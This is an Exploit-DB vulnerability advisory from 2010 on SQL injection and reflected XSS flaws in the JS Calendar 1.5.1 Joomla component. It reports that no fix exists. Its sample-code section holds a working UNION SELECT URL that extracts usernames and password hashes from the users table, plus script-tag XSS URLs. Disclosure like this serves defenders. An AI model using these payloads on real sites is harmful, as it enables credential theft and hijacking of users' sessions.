js calendar 1.5.1 joomla component Multiple Vulnerabilities



EDB-ID: 15224 CVE: 2010-4794 OSVDB-ID: 68595
Author: Salvatore Fresta Published: 2010-10-09 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities

 Name              JS Calendar
 Vendor            http://www.joomlaseller.com
 Versions Affected 1.5.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-10-09

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

JoomlaSeller  -  Calendar Event  is  a  powerful Joomla!
component  which  allows you to easily create events and
publish  them  on  a  desired date. It is a native build
component  for  Joomla!  1.5  version  and can easily be
installed   using   the    Joomla!    back-end   Install
functionality.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in a SQL query or returned to the user.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 B) Multiple Reflected XSS
 

A) SQL Injection
________________

Input  passed  to "ev_id"  parameter  is  not  properly
sanitised before being used in SQL queries. This can be
exploited  to  manipulate   SQL  queries  by  injecting
arbitrary SQL code.


B) Multiple XSS
_______________

Input  passed to the "month" and "year" parameters  are
not  properly  sanitised  before  being returned to the
user. This  can  be exploited to execute arbitrary HTML
and  script  code in a users browser session in context
of an affected site.


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users


B) Multiple XSS

http://site/path/index.php?option=com_jscalendar&view=jscalendar&month=<script>alert('XSS');</script>

http://site/path/index.php?option=com_jscalendar&view=jscalendar&year=<script>alert('XSS');</script>


V. FIX
______

No fix.